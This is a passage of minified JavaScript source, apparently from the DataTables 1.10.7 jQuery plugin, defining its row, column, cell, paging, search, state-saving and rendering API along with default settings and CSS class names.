a.nTFoot},1)});v(\"tables().containers()\",\"table().container()\",function(){return this.iterator(\"table\",function(a){return a.nTableWrapper},1)});r(\"draw()\",function(a){return this.iterator(\"table\",function(b){N(b,\n!1===a)})});r(\"page()\",function(a){return a===k?this.page.info().page:this.iterator(\"table\",function(b){Ta(b,a)})});r(\"page.info()\",function(){if(0===this.context.length)return k;var a=this.context[0],b=a._iDisplayStart,c=a._iDisplayLength,e=a.fnRecordsDisplay(),d=-1===c;return{page:d?0:Math.floor(b/c),pages:d?1:Math.ceil(e/c),start:b,end:a.fnDisplayEnd(),length:c,recordsTotal:a.fnRecordsTotal(),recordsDisplay:e}});r(\"page.len()\",function(a){return a===k?0!==this.context.length?this.context[0]._iDisplayLength:\nk:this.iterator(\"table\",function(b){Ra(b,a)})});var Ub=function(a,b,c){if(c){var e=new t(a);e.one(\"draw\",function(){c(e.ajax.json())})}\"ssp\"==B(a)?N(a,b):(C(a,!0),ra(a,[],function(c){oa(a);for(var c=sa(a,c),e=0,g=c.length;e<g;e++)K(a,c[e]);N(a,b);C(a,!1)}))};r(\"ajax.json()\",function(){var a=this.context;if(0<a.length)return a[0].json});r(\"ajax.params()\",function(){var a=this.context;if(0<a.length)return a[0].oAjaxData});r(\"ajax.reload()\",function(a,b){return this.iterator(\"table\",function(c){Ub(c,\n!1===b,a)})});r(\"ajax.url()\",function(a){var b=this.context;if(a===k){if(0===b.length)return k;b=b[0];return b.ajax?h.isPlainObject(b.ajax)?b.ajax.url:b.ajax:b.sAjaxSource}return this.iterator(\"table\",function(b){h.isPlainObject(b.ajax)?b.ajax.url=a:b.ajax=a})});r(\"ajax.url().load()\",function(a,b){return this.iterator(\"table\",function(c){Ub(c,!1===b,a)})});var $a=function(a,b,c,e,d){var f=[],g,j,i,o,l,q;i=typeof b;if(!b||\"string\"===i||\"function\"===i||b.length===k)b=[b];i=0;for(o=b.length;i<o;i++){j=\nb[i]&&b[i].split?b[i].split(\",\"):[b[i]];l=0;for(q=j.length;l<q;l++)(g=c(\"string\"===typeof j[l]?h.trim(j[l]):j[l]))&&g.length&&f.push.apply(f,g)}a=u.selector[a];if(a.length){i=0;for(o=a.length;i<o;i++)f=a[i](e,d,f)}return f},ab=function(a){a||(a={});a.filter&&a.search===k&&(a.search=a.filter);return h.extend({search:\"none\",order:\"current\",page:\"all\"},a)},bb=function(a){for(var b=0,c=a.length;b<c;b++)if(0<a[b].length)return a[0]=a[b],a[0].length=1,a.length=1,a.context=[a.context[b]],a;a.length=0;return a},\nCa=function(a,b){var c,e,d,f=[],g=a.aiDisplay;c=a.aiDisplayMaster;var j=b.search;e=b.order;d=b.page;if(\"ssp\"==B(a))return\"removed\"===j?[]:V(0,c.length);if(\"current\"==d){c=a._iDisplayStart;for(e=a.fnDisplayEnd();c<e;c++)f.push(g[c])}else if(\"current\"==e||\"applied\"==e)f=\"none\"==j?c.slice():\"applied\"==j?g.slice():h.map(c,function(a){return-1===h.inArray(a,g)?a:null});else if(\"index\"==e||\"original\"==e){c=0;for(e=a.aoData.length;c<e;c++)\"none\"==j?f.push(c):(d=h.inArray(c,g),(-1===d&&\"removed\"==j||0<=d&&\n\"applied\"==j)&&f.push(c))}return f};r(\"rows()\",function(a,b){a===k?a=\"\":h.isPlainObject(a)&&(b=a,a=\"\");var b=ab(b),c=this.iterator(\"table\",function(c){var d=b;return $a(\"row\",a,function(a){var b=Pb(a);if(b!==null&&!d)return[b];var j=Ca(c,d);if(b!==null&&h.inArray(b,j)!==-1)return[b];if(!a)return j;if(typeof a===\"function\")return h.map(j,function(b){var d=c.aoData[b];return a(b,d._aData,d.nTr)?b:null});b=Sb(ia(c.aoData,j,\"nTr\"));return a.nodeName&&h.inArray(a,b)!==-1?[a._DT_RowIndex]:h(b).filter(a).map(function(){return this._DT_RowIndex}).toArray()},\nc,d)},1);c.selector.rows=a;c.selector.opts=b;return c});r(\"rows().nodes()\",function(){return this.iterator(\"row\",function(a,b){return a.aoData[b].nTr||k},1)});r(\"rows().data()\",function(){return this.iterator(!0,\"rows\",function(a,b){return ia(a.aoData,b,\"_aData\")},1)});v(\"rows().cache()\",\"row().cache()\",function(a){return this.iterator(\"row\",function(b,c){var e=b.aoData[c];return\"search\"===a?e._aFilterData:e._aSortData},1)});v(\"rows().invalidate()\",\"row().invalidate()\",function(a){return this.iterator(\"row\",\nfunction(b,c){ca(b,c,a)})});v(\"rows().indexes()\",\"row().index()\",function(){return this.iterator(\"row\",function(a,b){return b},1)});v(\"rows().remove()\",\"row().remove()\",function(){var a=this;return this.iterator(\"row\",function(b,c,e){var d=b.aoData;d.splice(c,1);for(var f=0,g=d.length;f<g;f++)null!==d[f].nTr&&(d[f].nTr._DT_RowIndex=f);h.inArray(c,b.aiDisplay);pa(b.aiDisplayMaster,c);pa(b.aiDisplay,c);pa(a[e],c,!1);Sa(b)})});r(\"rows.add()\",function(a){var b=this.iterator(\"table\",function(b){var c,\nf,g,h=[];f=0;for(g=a.length;f<g;f++)c=a[f],c.nodeName&&\"TR\"===c.nodeName.toUpperCase()?h.push(ma(b,c)[0]):h.push(K(b,c));return h},1),c=this.rows(-1);c.pop();c.push.apply(c,b.toArray());return c});r(\"row()\",function(a,b){return bb(this.rows(a,b))});r(\"row().data()\",function(a){var b=this.context;if(a===k)return b.length&&this.length?b[0].aoData[this[0]]._aData:k;b[0].aoData[this[0]]._aData=a;ca(b[0],this[0],\"data\");return this});r(\"row().node()\",function(){var a=this.context;return a.length&&this.length?\na[0].aoData[this[0]].nTr||null:null});r(\"row.add()\",function(a){a instanceof h&&a.length&&(a=a[0]);var b=this.iterator(\"table\",function(b){return a.nodeName&&\"TR\"===a.nodeName.toUpperCase()?ma(b,a)[0]:K(b,a)});return this.row(b[0])});var cb=function(a,b){var c=a.context;c.length&&(c=c[0].aoData[b!==k?b:a[0]],c._details&&(c._details.remove(),c._detailsShow=k,c._details=k))},Vb=function(a,b){var c=a.context;if(c.length&&a.length){var e=c[0].aoData[a[0]];if(e._details){(e._detailsShow=b)?e._details.insertAfter(e.nTr):\ne._details.detach();var d=c[0],f=new t(d),g=d.aoData;f.off(\"draw.dt.DT_details column-visibility.dt.DT_details destroy.dt.DT_details\");0<D(g,\"_details\").length&&(f.on(\"draw.dt.DT_details\",function(a,b){d===b&&f.rows({page:\"current\"}).eq(0).each(function(a){a=g[a];a._detailsShow&&a._details.insertAfter(a.nTr)})}),f.on(\"column-visibility.dt.DT_details\",function(a,b){if(d===b)for(var c,e=aa(b),f=0,h=g.length;f<h;f++)c=g[f],c._details&&c._details.children(\"td[colspan]\").attr(\"colspan\",e)}),f.on(\"destroy.dt.DT_details\",\nfunction(a,b){if(d===b)for(var c=0,e=g.length;c<e;c++)g[c]._details&&cb(f,c)}))}}};r(\"row().child()\",function(a,b){var c=this.context;if(a===k)return c.length&&this.length?c[0].aoData[this[0]]._details:k;if(!0===a)this.child.show();else if(!1===a)cb(this);else if(c.length&&this.length){var e=c[0],c=c[0].aoData[this[0]],d=[],f=function(a,b){if(h.isArray(a)||a instanceof h)for(var c=0,k=a.length;c<k;c++)f(a[c],b);else a.nodeName&&\"tr\"===a.nodeName.toLowerCase()?d.push(a):(c=h(\"<tr><td/></tr>\").addClass(b),\nh(\"td\",c).addClass(b).html(a)[0].colSpan=aa(e),d.push(c[0]))};f(a,b);c._details&&c._details.remove();c._details=h(d);c._detailsShow&&c._details.insertAfter(c.nTr)}return this});r([\"row().child.show()\",\"row().child().show()\"],function(){Vb(this,!0);return this});r([\"row().child.hide()\",\"row().child().hide()\"],function(){Vb(this,!1);return this});r([\"row().child.remove()\",\"row().child().remove()\"],function(){cb(this);return this});r(\"row().child.isShown()\",function(){var a=this.context;return a.length&&\nthis.length?a[0].aoData[this[0]]._detailsShow||!1:!1});var dc=/^(.+):(name|visIdx|visible)$/,Wb=function(a,b,c,e,d){for(var c=[],e=0,f=d.length;e<f;e++)c.push(x(a,d[e],b));return c};r(\"columns()\",function(a,b){a===k?a=\"\":h.isPlainObject(a)&&(b=a,a=\"\");var b=ab(b),c=this.iterator(\"table\",function(c){var d=a,f=b,g=c.aoColumns,j=D(g,\"sName\"),i=D(g,\"nTh\");return $a(\"column\",d,function(a){var b=Pb(a);if(a===\"\")return V(g.length);if(b!==null)return[b>=0?b:g.length+b];if(typeof a===\"function\"){var d=Ca(c,\nf);return h.map(g,function(b,f){return a(f,Wb(c,f,0,0,d),i[f])?f:null})}var k=typeof a===\"string\"?a.match(dc):\"\";if(k)switch(k[2]){case \"visIdx\":case \"visible\":b=parseInt(k[1],10);if(b<0){var m=h.map(g,function(a,b){return a.bVisible?b:null});return[m[m.length+b]]}return[la(c,b)];case \"name\":return h.map(j,function(a,b){return a===k[1]?b:null})}else return h(i).filter(a).map(function(){return h.inArray(this,i)}).toArray()},c,f)},1);c.selector.cols=a;c.selector.opts=b;return c});v(\"columns().header()\",\n\"column().header()\",function(){return this.iterator(\"column\",function(a,b){return a.aoColumns[b].nTh},1)});v(\"columns().footer()\",\"column().footer()\",function(){return this.iterator(\"column\",function(a,b){return a.aoColumns[b].nTf},1)});v(\"columns().data()\",\"column().data()\",function(){return this.iterator(\"column-rows\",Wb,1)});v(\"columns().dataSrc()\",\"column().dataSrc()\",function(){return this.iterator(\"column\",function(a,b){return a.aoColumns[b].mData},1)});v(\"columns().cache()\",\"column().cache()\",\nfunction(a){return this.iterator(\"column-rows\",function(b,c,e,d,f){return ia(b.aoData,f,\"search\"===a?\"_aFilterData\":\"_aSortData\",c)},1)});v(\"columns().nodes()\",\"column().nodes()\",function(){return this.iterator(\"column-rows\",function(a,b,c,e,d){return ia(a.aoData,d,\"anCells\",b)},1)});v(\"columns().visible()\",\"column().visible()\",function(a,b){return this.iterator(\"column\",function(c,e){if(a===k)return c.aoColumns[e].bVisible;var d=c.aoColumns,f=d[e],g=c.aoData,j,i,m;if(a!==k&&f.bVisible!==a){if(a){var l=\nh.inArray(!0,D(d,\"bVisible\"),e+1);j=0;for(i=g.length;j<i;j++)m=g[j].nTr,d=g[j].anCells,m&&m.insertBefore(d[e],d[l]||null)}else h(D(c.aoData,\"anCells\",e)).detach();f.bVisible=a;ea(c,c.aoHeader);ea(c,c.aoFooter);if(b===k||b)X(c),(c.oScroll.sX||c.oScroll.sY)&&Y(c);w(c,null,\"column-visibility\",[c,e,a]);ya(c)}})});v(\"columns().indexes()\",\"column().index()\",function(a){return this.iterator(\"column\",function(b,c){return\"visible\"===a?$(b,c):c},1)});r(\"columns.adjust()\",function(){return this.iterator(\"table\",\nfunction(a){X(a)},1)});r(\"column.index()\",function(a,b){if(0!==this.context.length){var c=this.context[0];if(\"fromVisible\"===a||\"toData\"===a)return la(c,b);if(\"fromData\"===a||\"toVisible\"===a)return $(c,b)}});r(\"column()\",function(a,b){return bb(this.columns(a,b))});r(\"cells()\",function(a,b,c){h.isPlainObject(a)&&(a.row===k?(c=a,a=null):(c=b,b=null));h.isPlainObject(b)&&(c=b,b=null);if(null===b||b===k)return this.iterator(\"table\",function(b){var d=a,e=ab(c),f=b.aoData,g=Ca(b,e),i=Sb(ia(f,g,\"anCells\")),\nj=h([].concat.apply([],i)),l,m=b.aoColumns.length,o,r,t,s,u,v;return $a(\"cell\",d,function(a){var c=typeof a===\"function\";if(a===null||a===k||c){o=[];r=0;for(t=g.length;r<t;r++){l=g[r];for(s=0;s<m;s++){u={row:l,column:s};if(c){v=b.aoData[l];a(u,x(b,l,s),v.anCells?v.anCells[s]:null)&&o.push(u)}else o.push(u)}}return o}return h.isPlainObject(a)?[a]:j.filter(a).map(function(a,b){l=b.parentNode._DT_RowIndex;return{row:l,column:h.inArray(b,f[l].anCells)}}).toArray()},b,e)});var e=this.columns(b,c),d=this.rows(a,\nc),f,g,j,i,m,l=this.iterator(\"table\",function(a,b){f=[];g=0;for(j=d[b].length;g<j;g++){i=0;for(m=e[b].length;i<m;i++)f.push({row:d[b][g],column:e[b][i]})}return f},1);h.extend(l.selector,{cols:b,rows:a,opts:c});return l});v(\"cells().nodes()\",\"cell().node()\",function(){return this.iterator(\"cell\",function(a,b,c){return(a=a.aoData[b].anCells)?a[c]:k},1)});r(\"cells().data()\",function(){return this.iterator(\"cell\",function(a,b,c){return x(a,b,c)},1)});v(\"cells().cache()\",\"cell().cache()\",function(a){a=\n\"search\"===a?\"_aFilterData\":\"_aSortData\";return this.iterator(\"cell\",function(b,c,e){return b.aoData[c][a][e]},1)});v(\"cells().render()\",\"cell().render()\",function(a){return this.iterator(\"cell\",function(b,c,e){return x(b,c,e,a)},1)});v(\"cells().indexes()\",\"cell().index()\",function(){return this.iterator(\"cell\",function(a,b,c){return{row:b,column:c,columnVisible:$(a,c)}},1)});v(\"cells().invalidate()\",\"cell().invalidate()\",function(a){return this.iterator(\"cell\",function(b,c,e){ca(b,c,a,e)})});r(\"cell()\",\nfunction(a,b,c){return bb(this.cells(a,b,c))});r(\"cell().data()\",function(a){var b=this.context,c=this[0];if(a===k)return b.length&&c.length?x(b[0],c[0].row,c[0].column):k;Ia(b[0],c[0].row,c[0].column,a);ca(b[0],c[0].row,\"data\",c[0].column);return this});r(\"order()\",function(a,b){var c=this.context;if(a===k)return 0!==c.length?c[0].aaSorting:k;\"number\"===typeof a?a=[[a,b]]:h.isArray(a[0])||(a=Array.prototype.slice.call(arguments));return this.iterator(\"table\",function(b){b.aaSorting=a.slice()})});\nr(\"order.listener()\",function(a,b,c){return this.iterator(\"table\",function(e){Oa(e,a,b,c)})});r([\"columns().order()\",\"column().order()\"],function(a){var b=this;return this.iterator(\"table\",function(c,e){var d=[];h.each(b[e],function(b,c){d.push([c,a])});c.aaSorting=d})});r(\"search()\",function(a,b,c,e){var d=this.context;return a===k?0!==d.length?d[0].oPreviousSearch.sSearch:k:this.iterator(\"table\",function(d){d.oFeatures.bFilter&&fa(d,h.extend({},d.oPreviousSearch,{sSearch:a+\"\",bRegex:null===b?!1:\nb,bSmart:null===c?!0:c,bCaseInsensitive:null===e?!0:e}),1)})});v(\"columns().search()\",\"column().search()\",function(a,b,c,e){return this.iterator(\"column\",function(d,f){var g=d.aoPreSearchCols;if(a===k)return g[f].sSearch;d.oFeatures.bFilter&&(h.extend(g[f],{sSearch:a+\"\",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===e?!0:e}),fa(d,d.oPreviousSearch,1))})});r(\"state()\",function(){return this.context.length?this.context[0].oSavedState:null});r(\"state.clear()\",function(){return this.iterator(\"table\",\nfunction(a){a.fnStateSaveCallback.call(a.oInstance,a,{})})});r(\"state.loaded()\",function(){return this.context.length?this.context[0].oLoadedState:null});r(\"state.save()\",function(){return this.iterator(\"table\",function(a){ya(a)})});m.versionCheck=m.fnVersionCheck=function(a){for(var b=m.version.split(\".\"),a=a.split(\".\"),c,e,d=0,f=a.length;d<f;d++)if(c=parseInt(b[d],10)||0,e=parseInt(a[d],10)||0,c!==e)return c>e;return!0};m.isDataTable=m.fnIsDataTable=function(a){var b=h(a).get(0),c=!1;h.each(m.settings,\nfunction(a,d){var f=d.nScrollHead?h(\"table\",d.nScrollHead)[0]:null,g=d.nScrollFoot?h(\"table\",d.nScrollFoot)[0]:null;if(d.nTable===b||f===b||g===b)c=!0});return c};m.tables=m.fnTables=function(a){return h.map(m.settings,function(b){if(!a||a&&h(b.nTable).is(\":visible\"))return b.nTable})};m.util={throttle:ua,escapeRegex:va};m.camelToHungarian=H;r(\"$()\",function(a,b){var c=this.rows(b).nodes(),c=h(c);return h([].concat(c.filter(a).toArray(),c.find(a).toArray()))});h.each([\"on\",\"one\",\"off\"],function(a,\nb){r(b+\"()\",function(){var a=Array.prototype.slice.call(arguments);a[0].match(/\\.dt\\b/)||(a[0]+=\".dt\");var e=h(this.tables().nodes());e[b].apply(e,a);return this})});r(\"clear()\",function(){return this.iterator(\"table\",function(a){oa(a)})});r(\"settings()\",function(){return new t(this.context,this.context)});r(\"init()\",function(){var a=this.context;return a.length?a[0].oInit:null});r(\"data()\",function(){return this.iterator(\"table\",function(a){return D(a.aoData,\"_aData\")}).flatten()});r(\"destroy()\",\nfunction(a){a=a||!1;return this.iterator(\"table\",function(b){var c=b.nTableWrapper.parentNode,e=b.oClasses,d=b.nTable,f=b.nTBody,g=b.nTHead,j=b.nTFoot,i=h(d),f=h(f),k=h(b.nTableWrapper),l=h.map(b.aoData,function(a){return a.nTr}),q;b.bDestroying=!0;w(b,\"aoDestroyCallback\",\"destroy\",[b]);a||(new t(b)).columns().visible(!0);k.unbind(\".DT\").find(\":not(tbody *)\").unbind(\".DT\");h(Ea).unbind(\".DT-\"+b.sInstance);d!=g.parentNode&&(i.children(\"thead\").detach(),i.append(g));j&&d!=j.parentNode&&(i.children(\"tfoot\").detach(),\ni.append(j));i.detach();k.detach();b.aaSorting=[];b.aaSortingFixed=[];xa(b);h(l).removeClass(b.asStripeClasses.join(\" \"));h(\"th, td\",g).removeClass(e.sSortable+\" \"+e.sSortableAsc+\" \"+e.sSortableDesc+\" \"+e.sSortableNone);b.bJUI&&(h(\"th span.\"+e.sSortIcon+\", td span.\"+e.sSortIcon,g).detach(),h(\"th, td\",g).each(function(){var a=h(\"div.\"+e.sSortJUIWrapper,this);h(this).append(a.contents());a.detach()}));!a&&c&&c.insertBefore(d,b.nTableReinsertBefore);f.children().detach();f.append(l);i.css(\"width\",b.sDestroyWidth).removeClass(e.sTable);\n(q=b.asDestroyStripes.length)&&f.children().each(function(a){h(this).addClass(b.asDestroyStripes[a%q])});c=h.inArray(b,m.settings);-1!==c&&m.settings.splice(c,1)})});h.each([\"column\",\"row\",\"cell\"],function(a,b){r(b+\"s().every()\",function(a){return this.iterator(b,function(e,d,f){a.call((new t(e))[b](d,f))})})});r(\"i18n()\",function(a,b,c){var e=this.context[0],a=R(a)(e.oLanguage);a===k&&(a=b);c!==k&&h.isPlainObject(a)&&(a=a[c]!==k?a[c]:a._);return a.replace(\"%d\",c)});m.version=\"1.10.7\";m.settings=\n[];m.models={};m.models.oSearch={bCaseInsensitive:!0,sSearch:\"\",bRegex:!1,bSmart:!0};m.models.oRow={nTr:null,anCells:null,_aData:[],_aSortData:null,_aFilterData:null,_sFilterRow:null,_sRowStripe:\"\",src:null};m.models.oColumn={idx:null,aDataSort:null,asSorting:null,bSearchable:null,bSortable:null,bVisible:null,_sManualType:null,_bAttrSrc:!1,fnCreatedCell:null,fnGetData:null,fnSetData:null,mData:null,mRender:null,nTh:null,nTf:null,sClass:null,sContentPadding:null,sDefaultContent:null,sName:null,sSortDataType:\"std\",\nsSortingClass:null,sSortingClassJUI:null,sTitle:null,sType:null,sWidth:null,sWidthOrig:null};m.defaults={aaData:null,aaSorting:[[0,\"asc\"]],aaSortingFixed:[],ajax:null,aLengthMenu:[10,25,50,100],aoColumns:null,aoColumnDefs:null,aoSearchCols:[],asStripeClasses:null,bAutoWidth:!0,bDeferRender:!1,bDestroy:!1,bFilter:!0,bInfo:!0,bJQueryUI:!1,bLengthChange:!0,bPaginate:!0,bProcessing:!1,bRetrieve:!1,bScrollCollapse:!1,bServerSide:!1,bSort:!0,bSortMulti:!0,bSortCellsTop:!1,bSortClasses:!0,bStateSave:!1,\nfnCreatedRow:null,fnDrawCallback:null,fnFooterCallback:null,fnFormatNumber:function(a){return a.toString().replace(/\\B(?=(\\d{3})+(?!\\d))/g,this.oLanguage.sThousands)},fnHeaderCallback:null,fnInfoCallback:null,fnInitComplete:null,fnPreDrawCallback:null,fnRowCallback:null,fnServerData:null,fnServerParams:null,fnStateLoadCallback:function(a){try{return JSON.parse((-1===a.iStateDuration?sessionStorage:localStorage).getItem(\"DataTables_\"+a.sInstance+\"_\"+location.pathname))}catch(b){}},fnStateLoadParams:null,\nfnStateLoaded:null,fnStateSaveCallback:function(a,b){try{(-1===a.iStateDuration?sessionStorage:localStorage).setItem(\"DataTables_\"+a.sInstance+\"_\"+location.pathname,JSON.stringify(b))}catch(c){}},fnStateSaveParams:null,iStateDuration:7200,iDeferLoading:null,iDisplayLength:10,iDisplayStart:0,iTabIndex:0,oClasses:{},oLanguage:{oAria:{sSortAscending:\": activate to sort column ascending\",sSortDescending:\": activate to sort column descending\"},oPaginate:{sFirst:\"First\",sLast:\"Last\",sNext:\"Next\",sPrevious:\"Previous\"},\nsEmptyTable:\"No data available in table\",sInfo:\"Showing _START_ to _END_ of _TOTAL_ entries\",sInfoEmpty:\"Showing 0 to 0 of 0 entries\",sInfoFiltered:\"(filtered from _MAX_ total entries)\",sInfoPostFix:\"\",sDecimal:\"\",sThousands:\",\",sLengthMenu:\"Show _MENU_ entries\",sLoadingRecords:\"Loading...\",sProcessing:\"Processing...\",sSearch:\"Search:\",sSearchPlaceholder:\"\",sUrl:\"\",sZeroRecords:\"No matching records found\"},oSearch:h.extend({},m.models.oSearch),sAjaxDataProp:\"data\",sAjaxSource:null,sDom:\"lfrtip\",searchDelay:null,\nsPaginationType:\"simple_numbers\",sScrollX:\"\",sScrollXInner:\"\",sScrollY:\"\",sServerMethod:\"GET\",renderer:null};W(m.defaults);m.defaults.column={aDataSort:null,iDataSort:-1,asSorting:[\"asc\",\"desc\"],bSearchable:!0,bSortable:!0,bVisible:!0,fnCreatedCell:null,mData:null,mRender:null,sCellType:\"td\",sClass:\"\",sContentPadding:\"\",sDefaultContent:null,sName:\"\",sSortDataType:\"std\",sTitle:null,sType:null,sWidth:null};W(m.defaults.column);m.models.oSettings={oFeatures:{bAutoWidth:null,bDeferRender:null,bFilter:null,\nbInfo:null,bLengthChange:null,bPaginate:null,bProcessing:null,bServerSide:null,bSort:null,bSortMulti:null,bSortClasses:null,bStateSave:null},oScroll:{bCollapse:null,iBarWidth:0,sX:null,sXInner:null,sY:null},oLanguage:{fnInfoCallback:null},oBrowser:{bScrollOversize:!1,bScrollbarLeft:!1},ajax:null,aanFeatures:[],aoData:[],aiDisplay:[],aiDisplayMaster:[],aoColumns:[],aoHeader:[],aoFooter:[],oPreviousSearch:{},aoPreSearchCols:[],aaSorting:null,aaSortingFixed:[],asStripeClasses:null,asDestroyStripes:[],\nsDestroyWidth:0,aoRowCallback:[],aoHeaderCallback:[],aoFooterCallback:[],aoDrawCallback:[],aoRowCreatedCallback:[],aoPreDrawCallback:[],aoInitComplete:[],aoStateSaveParams:[],aoStateLoadParams:[],aoStateLoaded:[],sTableId:\"\",nTable:null,nTHead:null,nTFoot:null,nTBody:null,nTableWrapper:null,bDeferLoading:!1,bInitialised:!1,aoOpenRows:[],sDom:null,searchDelay:null,sPaginationType:\"two_button\",iStateDuration:0,aoStateSave:[],aoStateLoad:[],oSavedState:null,oLoadedState:null,sAjaxSource:null,sAjaxDataProp:null,\nbAjaxDataGet:!0,jqXHR:null,json:k,oAjaxData:k,fnServerData:null,aoServerParams:[],sServerMethod:null,fnFormatNumber:null,aLengthMenu:null,iDraw:0,bDrawing:!1,iDrawError:-1,_iDisplayLength:10,_iDisplayStart:0,_iRecordsTotal:0,_iRecordsDisplay:0,bJUI:null,oClasses:{},bFiltered:!1,bSorted:!1,bSortCellsTop:null,oInit:null,aoDestroyCallback:[],fnRecordsTotal:function(){return\"ssp\"==B(this)?1*this._iRecordsTotal:this.aiDisplayMaster.length},fnRecordsDisplay:function(){return\"ssp\"==B(this)?1*this._iRecordsDisplay:\nthis.aiDisplay.length},fnDisplayEnd:function(){var a=this._iDisplayLength,b=this._iDisplayStart,c=b+a,e=this.aiDisplay.length,d=this.oFeatures,f=d.bPaginate;return d.bServerSide?!1===f||-1===a?b+e:Math.min(b+a,this._iRecordsDisplay):!f||c>e||-1===a?e:c},oInstance:null,sInstance:null,iTabIndex:0,nScrollHead:null,nScrollFoot:null,aLastSort:[],oPlugins:{}};m.ext=u={buttons:{},classes:{},errMode:\"alert\",feature:[],search:[],selector:{cell:[],column:[],row:[]},internal:{},legacy:{ajax:null},pager:{},renderer:{pageButton:{},\nheader:{}},order:{},type:{detect:[],search:{},order:{}},_unique:0,fnVersionCheck:m.fnVersionCheck,iApiIndex:0,oJUIClasses:{},sVersion:m.version};h.extend(u,{afnFiltering:u.search,aTypes:u.type.detect,ofnSearch:u.type.search,oSort:u.type.order,afnSortData:u.order,aoFeatures:u.feature,oApi:u.internal,oStdClasses:u.classes,oPagination:u.pager});h.extend(m.ext.classes,{sTable:\"dataTable\",sNoFooter:\"no-footer\",sPageButton:\"paginate_button\",sPageButtonActive:\"current\",sPageButtonDisabled:\"disabled\",sStripeOdd:\"odd\",\nsStripeEven:\"even\",sRowEmpty:\"dataTables_empty\",sWrapper:\"dataTables_wrapper\",sFilter:\"dataTables_filter\",sInfo:\"dataTables_info\",sPaging:\"dataTables_paginate paging_\",sLength:\"dataTables_length\",sProcessing:\"dataTables_processing\",sSortAsc:\"sorting_asc\",sSortDesc:\"sorting_desc\",sSortable:\"sorting\",sSortableAsc:\"sorting_asc_disabled\",sSortableDesc:\"sorting_desc_disabled\",sSortableNone:\"sorting_disabled\",sSortColumn:\"sorting_\",sFilterInput:\"\",sLengthSelect:\"\",sScrollWrapper:\"dataTables_scroll\",sScrollHead:\"dataTables_scrollHead\",\nsScrollHeadInner:\"dataTables_scrollHeadInner\",sScrollBody:\"dataTables_scrollBody\",sScrollFoot:\"dataTables_scrollFoot\",sScrollFootInner:\"dataTables_scrollFootInner\",sHeaderTH:\"\",sFooterTH:\"\",sSortJUIAsc:\"\",sSortJUIDesc:\"\",sSortJUI:\"\",sSortJUIAscAllowed:\"\",sSortJUIDescAllowed:\"\",sSortJUIWrapper:\"\",sSortIcon:\"\",sJUIHeader:\"\",sJUIFooter:\"\"});var Da=\"\",Da=\"\",F=Da+\"ui-state-default\",ja=Da+\"css_right ui-icon ui-icon-\",Xb=Da+\"fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix\";h.extend(m.ext.oJUIClasses,\nm.ext.classes,{sPageButton:\"fg-button ui-button \"+F,sPageButtonActive:\"ui-state-disabled\",sPageButtonDisabled:\"ui-state-disabled\",sPaging:\"dataTables_paginate fg-buttonset ui-buttonset fg-buttonset-multi ui-buttonset-multi paging_\",sSortAsc:F+\" sorting_asc\",sSortDesc:F+\" sorting_desc\",sSortable:F+\" sorting\",sSortableAsc:F+\" sorting_asc_disabled\",sSortableDesc:F+\" sorting_desc_disabled\",sSortableNone:F+\" sorting_disabled\",sSortJUIAsc:ja+\"triangle-1-n\",sSortJUIDesc:ja+\"triangle-1-s\",sSortJUI:ja+\"carat-2-n-s\",\nsSortJUIAscAllowed:ja+\"carat-1-n\",sSortJUIDescAllowed:ja+\"carat-1-s\",sSortJUIWrapper:\"DataTables_sort_wrapper\",sSortIcon:\"DataTables_sort_icon\",sScrollHead:\"dataTables_scrollHead \"+F,sScrollFoot:\"dataTables_scrollFoot \"+F,sHeaderTH:F,sFooterTH:F,sJUIHeader:Xb+\" ui-corner-tl ui-corner-tr\",sJUIFooter:Xb+\" ui-corner-bl ui-corner-br\"});var Mb=m.ext.pager;h.extend(Mb,{simple:function(){return[\"previous\",\"next\"]},full:function(){return[\"first\",\"previous\",\"next\",\"last\"]},simple_numbers:function(a,b){return[\"previous\",\nWa(a,b),\"next\"]},full_numbers:function(a,b){return[\"first\",\"previous\",Wa(a,b),\"next\",\"last\"]},_numbers:Wa,numbers_length:7});h.extend(!0,m.ext.renderer,{pageButton:{_:function(a,b,c,e,d,f){var g=a.oClasses,j=a.oLanguage.oPaginate,i,k,l=0,m=function(b,e){var n,r,t,s,u=function(b){Ta(a,b.data.action,true)};n=0;for(r=e.length;n<r;n++){s=e[n];if(h.isArray(s)){t=h(\"<\"+(s.DT_el||\"div\")+\"/>\").appendTo(b);m(t,s)}else{k=i=\"\";switch(s){case \"ellipsis\":b.append('<span class=\"ellipsis\">&#x2026;</span>');break;\ncase \"first\":i=j.sFirst;k=s+(d>0?\"\":\" \"+g.sPageButtonDisabled);break;case \"previous\":i=j.sPrevious;k=s+(d>0?\"\":\" \"+g.sPageButtonDisabled);break;case \"next\":i=j.sNext;k=s+(d<f-1?\"\":\" \"+g.sPageButtonDisabled);break;case \"last\":i=j.sLast;k=s+(d<f-1?\"\":\" \"+g.sPageButtonDisabled);break;default:i=s+1;k=d===s?g.sPageButtonActive:\"\"}if(i){t=h(\"<a>\",{\"class\":g.sPageButton+\" \"+k,\"aria-controls\":a.sTableId,\"data-dt-idx\":l,tabindex:a.iTabIndex,id:c===0&&typeof s===\"string\"?a.sTableId+\"_\"+s:null}).html(i).appendTo(b);\nVa(t,{action:s},u);l++}}}},n;try{n=h(Q.activeElement).data(\"dt-idx\")}catch(r){}m(h(b).empty(),e);n&&h(b).find(\"[data-dt-idx=\"+n+\"]\").focus()}}});h.extend(m.ext.type.detect,[function(a,b){var c=b.oLanguage.sDecimal;return Za(a,c)?\"num\"+c:null},function(a){if(a&&!(a instanceof Date)&&(!ac.test(a)||!bc.test(a)))return null;var b=Date.parse(a);return null!==b&&!isNaN(b)||J(a)?\"date\":null},function(a,b){var c=b.oLanguage.sDecimal;return Za(a,c,!0)?\"num-fmt\"+c:null},function(a,b){var c=b.oLanguage.sDecimal;\nreturn Rb(a,c)?\"html-num\"+c:null},function(a,b){var c=b.oLanguage.sDecimal;return Rb(a,c,!0)?\"html-num-fmt\"+c:null},function(a){return J(a)||\"string\"===typeof a&&-1!==a.indexOf(\"<\")?\"html\":null}]);h.extend(m.ext.type.search,{html:function(a){return J(a)?a:\"string\"===typeof a?a.replace(Ob,\" \").replace(Ba,\"\"):\"\"},string:function(a){return J(a)?a:\"string\"===typeof a?a.replace(Ob,\" \"):a}});var Aa=function(a,b,c,e){if(0!==a&&(!a||\"-\"===a))return-Infinity;b&&(a=Qb(a,b));a.replace&&(c&&(a=a.replace(c,\"\")),\ne&&(a=a.replace(e,\"\")));return 